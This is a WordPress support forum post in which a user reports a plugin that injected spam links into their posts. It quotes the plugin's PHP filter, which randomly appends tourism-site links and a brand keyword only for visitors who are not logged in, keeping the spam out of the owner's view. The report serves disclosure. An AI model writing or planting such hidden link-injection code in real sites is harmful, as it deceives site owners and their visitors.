spam (hack)
-
Same Victor V.
I noticed there are spam links at some of my posts. Deactivating the plugin and the spam was gone.
See:
function addContent($content = ”) {global $wp_query;
global $post;
$url = home_url();
$britt = false;
$bloglan = get_bloginfo (‘language’);
if (strpos($url,’.uk’) !== false) {
$britt = true;
}
if ($bloglan==’en-GB’) {
$britt = true;
}
if ($bloglan==’en-US’) {
if (rand(0, 300)==1 && !is_user_logged_in()) {
$array = array(“bangkok”, “bangkok tourism”, “https://www.bangkok-tourismguide.com/”, “https://www.bangkok-tourismguide.com/”, “https://www.bangkok-tourismguide.com/”, “https://www.bangkok-tourismguide.com/”);
$result = array_rand($array);
$content .= ” <center>“.$array[$result].”</center>
“;}
if (rand(0, 300)==1 && !is_user_logged_in()) {
$array = array(“the hague”, “the hague netherlands”, “https://www.thehague-netherlands.com/”, “https://www.thehague-netherlands.com/”, “https://www.thehague-netherlands.com/”, “https://www.thehague-netherlands.com/”, “https://www.thehague-netherlands.com/”, “https://www.thehague-netherlands.com/”);
$result = array_rand($array);
$content .= ” <center>“.$array[$result].”</center>
“;}
}
if (rand(0, 10)==1 && !is_user_logged_in()) {
$content .= ” <center>primark</center>
“;}
return $content;
}
add_filter(‘the_content’, ‘addContent’);
- The topic ‘spam (hack)’ is closed to new replies.